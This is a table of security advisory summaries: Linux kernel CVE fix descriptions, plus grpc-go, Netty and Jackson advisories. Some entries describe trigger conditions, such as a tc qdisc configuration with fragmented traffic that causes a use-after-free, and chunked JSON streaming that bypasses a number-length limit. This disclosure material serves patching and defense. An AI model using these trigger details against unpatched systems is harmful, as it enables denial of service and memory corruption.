| CVE-2026-64512 | In the Linux kernel, the following vulnerability has been resolved: ACPI: CPPC: Suppress UBSAN warning caused by field misuse The definition of reg->access_width changes depending on the reg->space_id type. Type ACPI_ADR_SPACE_PLATFORM_COMM uses access_width to indicate the PCC region, which can result in a UBSAN if the value is greater than 4. For example: UBSAN: shift-out-of-bounds in drivers/acpi/cppc_acpi.c:1090:9 shift exponent 32 is too large for 32-bit type 'int' CPU: 61 UID: 0 PID: 1220 Comm: (udev-worker) Not tainted 7.0.10-201.fc44.aarch64 #1 PREEMPT(lazy) Hardware name: To be filled by O.E.M. Call trace: ...(trimming) ubsan_epilogue+0x10/0x48 __ubsan_handle_shift_out_of_bounds+0xdc/0x1e0 cpc_write+0x4d0/0x670 cppc_set_perf+0x18c/0x490 cppc_cpufreq_cpu_init+0x1c8/0x380 [cppc_cpufreq] ... (trimming) Lets fix this by validating the region type, as well as whether access_width has a value. Then since we are returning bit_width directly for ACPI_ADR_SPACE_PLATFORM_COMM, drop the code correcting the size. |
| CVE-2026-64513 | In the Linux kernel, the following vulnerability has been resolved: KVM: x86: Unconditionally recompute CR8 intercept on PPR update The TPR_THRESHOLD field in the VMCS is used by VMX to induce VM exits when the guest's virtual TPR falls under the specified threshold, allowing KVM to inject previously masked interrupts. KVM handles these VM exits in handle_tpr_below_threshold(). Commit eb90f3417a0c ("KVM: vmx: speed up TPR below threshold vmexits") optimized this function by calling apic_update_ppr() instead of raising KVM_REQ_EVENT. apic_update_ppr() then raises KVM_REQ_EVENT if there is a pending, deliverable interrupt. However, if there are no new interrupts pending, apic_update_ppr() does not issue the request. Thus, kvm_lapic_update_cr8_intercept() and vmx_update_cr8_intercept() are not called before VM entry, which results in a high, stale TPR_THRESHOLD. This is problematic due to the following sentence in 28.2.1.1 "VM-Execution Control Fields" in the SDM: The following check is performed if the “use TPR shadow” VM-execution control is 1 and the “virtualize APIC accesses” and “virtual-interrupt delivery” VM-execution controls are both 0: the value of bits 3:0 of the TPR threshold VM-execution control field should not be greater than the value of bits 7:4 of VTPR. This error condition is typically not observed when KVM runs on a bare metal system because modern processors support APICv, which enables virtual-interrupt delivery, and which KVM uses when possible. This causes the processor to no longer generate TPR-below-threshold exits and to no longer check TPR_THRESHOLD on entry. However, when running on older platforms, or under nested virtualization on a hypervisor that does not support virtual-interrupt delivery and enforces this check (like Hyper-V) this can cause a VM entry failure with hardware error 0x7, as seen in [1]. Call kvm_lapic_update_cr8_intercept() if apic_update_ppr() does not find a deliverable interrupt (and thus does not raise KVM_REQ_EVENT). Remove calls to kvm_lapic_update_cr8_intercept() on paths that end up in apic_update_ppr(), as they now become redundant. This ensures that any path that updates the guest's PPR also figures out if KVM needs to wait for a TPR change (using TPR_THRESHOLD on VMX or CR8 intercepts on SVM). |
| CVE-2026-64514 | In the Linux kernel, the following vulnerability has been resolved: userfaultfd: gate must_wait writability check on pte_present() userfaultfd_must_wait() and userfaultfd_huge_must_wait() read the PTE without taking the page table lock and then apply pte_write() / huge_pte_write() to it. Those accessors decode bits from the present encoding only; on a swap or migration entry they read the offset bits that happen to share the same position and return an undefined result. The intent of the check is "is this fault still WP-blocked?". A non-marker swap entry means the page is in transit -- the userfault context the original fault delivered against is no longer the same, and the swap-in or migration completion path will re-deliver a fresh fault if userspace still needs to handle it. Worst case under the current code the garbage write bit says "wait", and the thread stays asleep until a UFFDIO_WAKE that may never arrive. Gate the writability check on pte_present() so the lockless re-check only inspects present-PTE bits when the entry is actually present. The non-present, non-marker case returns "don't wait" and lets the fault path retry. |
| CVE-2026-64523 | In the Linux kernel, the following vulnerability has been resolved: net/handshake: Take a long-lived file reference at submit handshake_nl_accept_doit() needs the file pointer backing req->hr_sk->sk_socket to survive the window between handshake_req_next() and the subsequent FD_PREPARE() and get_file(). The submit-side sock_hold() does not provide that. sk_refcnt keeps struct sock alive, but struct socket is owned by sock->file: when the consumer fputs the last file reference, sock_release() tears the socket down regardless of any sock_hold. Add an hr_file pointer to struct handshake_req and acquire an explicit reference on sock->file during handshake_req_submit(). handshake_complete() and handshake_req_cancel() release the reference on the completion-bit-winning path. The submit error path must also release the file reference, but after rhashtable insertion a concurrent handshake_req_cancel() can discover the request and race the error path. Gate the error-path cleanup -- sk_destruct restoration, fput, and request destruction -- with test_and_set_bit(HANDSHAKE_F_REQ_COMPLETED), the same serialization handshake_complete() and handshake_req_cancel() already use. When cancel has already claimed ownership, the submit error path returns without touching the request; socket teardown handles final destruction. The accept-side dereferences are not yet retargeted; that change comes in the next patch. |
| CVE-2026-64524 | In the Linux kernel, the following vulnerability has been resolved: drm/hyperv: validate resolution_count and fix WIN8 fallback A SYNTHVID_RESOLUTION_RESPONSE with resolution_count > 64 walks past the supported_resolution[SYNTHVID_MAX_RESOLUTION_COUNT] array in the parse loop. Bound resolution_count against the array size, folded into the existing zero-check. When the WIN10 resolution probe fails, the caller in hyperv_connect_vsp() left hv->screen_*_max / preferred_* unpopulated, which sets mode_config.max_width / max_height to 0 and makes drm_internal_framebuffer_create() reject every userspace framebuffer with -EINVAL. The pre-WIN10 branch had the same gap for preferred_width / preferred_height. Use a single post-probe fallback guarded by screen_width_max == 0 so both paths converge on the WIN8 defaults. |
| CVE-2026-64525 | In the Linux kernel, the following vulnerability has been resolved: xfrm: move policy_bydst RCU sync from per-netns .exit to .pre_exit The struct pernet_operations docstring in include/net/net_namespace.h explicitly warns against blocking RCU primitives in .exit handlers: Exit methods using blocking RCU primitives, such as synchronize_rcu(), should be implemented via exit_batch. [...] Please, avoid synchronize_rcu() at all, where it's possible. Note that a combination of pre_exit() and exit() can be used, since a synchronize_rcu() is guaranteed between the calls. xfrm_policy_fini() violates this: it calls synchronize_rcu() before freeing the policy_bydst hash tables (so no RCU reader is mid- traversal at free time), but runs from xfrm_net_ops.exit -- once per namespace -- so a cleanup_net() of N namespaces pays N full RCU grace periods serially. Use the documented pre_exit/exit split. Move the policy flush (and the workqueue drains it depends on) into a new .pre_exit handler; xfrm_policy_fini() then runs in .exit and frees the hash tables after the synchronize_rcu_expedited() that cleanup_net() guarantees between the two phases. Providing O(1) RCU grace periods per batch instead of O(N). Observed on Linux 6.18 with a workload doing unshare(CLONE_NEWNET) at ~13/sec sustained: cleanup_net() and the netns_wq rescuer kthread both stuck in xfrm_policy_fini()'s synchronize_rcu(), >300k struct net accumulated in the cleanup queue, Percpu in /proc/meminfo climbed to 130+ GB on 256-CPU hosts, and memcg OOMs followed. setup_net and __put_net counts were balanced, ruling out a refcount leak. |
| CVE-2026-64527 | In the Linux kernel, the following vulnerability has been resolved: drm/hyperv: validate VMBus packet size in receive callback hyperv_receive_sub() reads msg->vid_hdr.type and dispatches into one of four message-type branches without knowing how many bytes the host wrote into hv->recv_buf. The completion path then runs memcpy(hv->init_buf, msg, VMBUS_MAX_PACKET_SIZE), so the consumer that wakes on wait_for_completion_timeout() can read up to 16 KiB of residue from a prior message as if it were the response payload. Pass bytes_recvd into hyperv_receive_sub() and reject any packet that does not cover the pipe + synthvid header. A single switch on msg->vid_hdr.type then computes the type-specific payload size: the three completion-driving types (SYNTHVID_VERSION_RESPONSE, SYNTHVID_RESOLUTION_RESPONSE, SYNTHVID_VRAM_LOCATION_ACK) fall through to a shared exit that requires that size before memcpy/complete, while SYNTHVID_FEATURE_CHANGE validates its own payload and returns before reading is_dirt_needed. Unknown types are dropped. SYNTHVID_RESOLUTION_RESPONSE is variable length: the host fills resolution_count entries, not the full SYNTHVID_MAX_RESOLUTION_COUNT array. Validate the fixed prefix first so resolution_count can be read, bound it against the array, then require only the count-sized array, so the shorter responses the host actually sends are accepted. Only run the sub-handler when vmbus_recvpacket() returned success. The memcpy length is bytes_recvd, which is bounded by VMBUS_MAX_PACKET_SIZE only on a successful receive; on -ENOBUFS vmbus_recvpacket() instead reports the required length, which can exceed hv->recv_buf, so copying bytes_recvd would read and write past the 16 KiB buffers. Gating on the success return keeps the copy bounded. The nonzero-return path is itself a malformed-message case and is now logged rather than silently skipped; channel recovery is not attempted. Rejected packets are reported via drm_err_ratelimited() rather than silently dropped, matching the CoCo-hardened pattern in hv_kvp_onchannelcallback(). |
| CVE-2026-64528 | In the Linux kernel, the following vulnerability has been resolved: tty: serial: samsung: Remove redundant port lock acquisition in rx helpers Sashiko identified a deadlock when the console flow is engaged [1]. When console flow control is enabled (UPF_CONS_FLOW), s3c24xx_serial_stop_tx() calls s3c24xx_serial_rx_enable() and s3c24xx_serial_start_tx() calls s3c24xx_serial_rx_disable(). The serial core framework invokes the .stop_tx() and .start_tx() callbacks with the port->lock spinlock already held. Furthermore, all internal driver paths that invoke stop_tx (such as the DMA TX completion handler s3c24xx_serial_tx_dma_complete() or the PIO TX IRQ handler s3c24xx_serial_tx_irq()) also acquire port->lock prior to calling it. (Note that s3c24xx_serial_start_tx() is only invoked by the serial core). However, s3c24xx_serial_rx_enable() and s3c24xx_serial_rx_disable() unconditionally attempt to acquire port->lock again using uart_port_lock_irqsave(). Since spinlocks are not recursive, this causes a deadlock on the same CPU when console flow control is engaged. Remove the redundant lock acquisition from both rx helper functions. |
| CVE-2026-64529 | In the Linux kernel, the following vulnerability has been resolved: crypto: qat - remove unused character device and IOCTLs The QAT driver exposes a character device (qat_adf_ctl) with IOCTLs for device configuration, start, stop, status query and enumeration. These IOCTLs are not part of any public uAPI header and have no known in-tree or out-of-tree users. Device lifecycle is already managed via sysfs. The ioctl interface also increases the attack surface and is the subject of a number of bug reports. Remove the character device, the IOCTL definitions, and the related data structures (adf_dev_status_info, adf_user_cfg_key_val, adf_user_cfg_section, adf_user_cfg_ctl_data). Drop the now-unused adf_cfg_user.h header and strip adf_ctl_drv.c down to the minimal module_init/module_exit hooks for workqueue, AER, and crypto/compression algorithm registration. Clean up leftover dead code that was only reachable from the removed IOCTL paths: adf_cfg_del_all(), adf_devmgr_verify_id(), adf_devmgr_get_num_dev(), adf_devmgr_get_dev_by_id(), adf_get_vf_real_id() and the unused ADF_CFG macros. Additionally, drop the entry associated to QAT IOCTLs in ioctl-number.rst. |
| CVE-2026-64530 | In the Linux kernel, the following vulnerability has been resolved: net/sched: cls_api: Handle TC_ACT_CONSUMED in tcf_qevent_handle tcf_classify() can return TC_ACT_CONSUMED while the skb is held by the defragmentation engine (e.g. act_ct on out-of-order fragments). When that happens the skb is no longer owned by the caller and must not be touched again. tcf_qevent_handle() did not handle TC_ACT_CONSUMED: it fell through the switch and returned the skb to the caller as if classification had passed. The only qdisc that wires up qevents today is RED, via three call sites (qe_mark on RED_PROB_MARK/HARD_MARK, qe_early_drop on congestion_drop) red_enqueue() was continuing to operate on an skb it no longer owns in this case -- enqueueing it, dropping it, or updating statistics. Resulting in a UAF. tc qdisc add dev eth0 root handle 1: red ... qevent early_drop block 10 tc filter add block 10 ... action ct (with ct defrag enabled and traffic that produces out-of-order fragments, e.g. a fragmented UDP stream) Handle TC_ACT_CONSUMED in tcf_qevent_handle() the same way the ingress and egress fast paths do: treat it as stolen and return NULL without touching the skb. Unlike the TC_ACT_STOLEN case, the skb must not be dropped/freed here, as it is no longer owned by us. |
| CVE-2026-64600 | In the Linux kernel, the following vulnerability has been resolved: xfs: resample the data fork mapping after cycling ILOCK xfs_reflink_fill_{cow_hole,delalloc} are both presented with an inode, a data fork mapping, and a cow fork mapping. Unfortunately, these two helpers cycle the ILOCK to grab a transaction, which means that the mappings are stale as soon as we reacquire the ILOCK. Currently we refresh the cow fork mapping by re-calling xfs_find_trim_cow_extent, but we don't refresh the data fork mapping beforehand, which means that the xfs_bmap_trim_cow in that function queries the refcount btree about the wrong physical blocks and returns an inaccurate value in *shared. If *shared is now false, the directio write proceeds with a stale data fork mapping. Fix this by querying the data fork mapping if the sequence counter changes across the ILOCK cycle. |
| GHSA-hrxh-6v49-42gf | Multiple security vulnerabilities have been identified and addressed in grpc-go affecting the xDS RBAC authorization engine (internal/xds/rbac) and the HTTP/2 transport server implementation (internal/transport). These vulnerabilities could result in: - Authorization Bypass (Fail-Open) when translating xDS RBAC policies containing `Metadata` or `RequestedServerName` fields. - Denial of Service (High CPU Consumption) due to an HTTP/2 Rapid Reset mitigation bypass during client-initiated stream resets. - Denial of Service (Server Panic) when parsing crafted xDS RBAC policies containing `NOT` rules around unsupported fields. |
| GHSA-mfg7-5gfp-c4w3 | ### Summary A memory leak can be caused in Netty's DNS codec by sending malicious DNS packets containing invalid domain names. Because the leak occurs incrementally per packet, sustained malicious requests will cause a gradual Denial of Service. ### Details Inside `io.netty.handler.codec.dns.AbstractDnsRecord`, the parsed domain name string is passed to `IDN.toASCII(name)`. If the domain name contains characters that violate IDNA rules, `IDN.toASCII` throws an `IllegalArgumentException`. |
| GHSA-mhm7-754m-9p8w | ## Summary In `BeanDeserializer.deserializeUsingPropertyBasedWithExternalTypeId`, the active-view (`@JsonView`) filter was applied only to the regular bean-property branch; the creator-property branch performed no `creatorProp.visibleInView(activeView)` check. A constructor parameter annotated with both `@JsonView(RestrictedView.class)` and `@JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY)` is populated from attacker JSON even when a more restrictive view is active. This is a patch gap. GHSA-5hh8 (CVE-2026-54517) and GHSA-rcqc (CVE-2026-54518) descriptions cover only the main property-based path and the unwrapped-creator path respectively; the external-type-id creator path was fixed on the 3.x line via #6004 ("Extend #5969/#5971 fixes to ... external-type-id case in regular BeanDeserializer", commit 7dc7a17, 2026-05-22) but |
| GHSA-r7wm-3cxj-wff9 | ## Summary The fix released in jackson-core `2.18.6` and `2.21.1` for [GHSA-72hv-8253-57qq](https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq) (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit `b0c428e6` (#1555) wired `validateIntegerLength` into a new `_setIntLength` helper and called it at every place where the integer portion of a number is *decided* (terminator byte arrived, `.` / `e/E` seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: "ran out of input while still inside `MINOR_NUMBER_INTEGER_DIGITS`, return `NOT_AVAILABLE` to caller". As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside `MINOR_NUMBER_INTEGER_DIGITS` indefinitely. `_textBuffer.expandCurrentSegment()` grows on every chunk, and `validateIntegerLength` is never invoked. The accumulator is only gated by `maxStringLength` (20 MiB default) — a **~20,000x amplification** of the documented `maxNumberLength` (1000 default). |
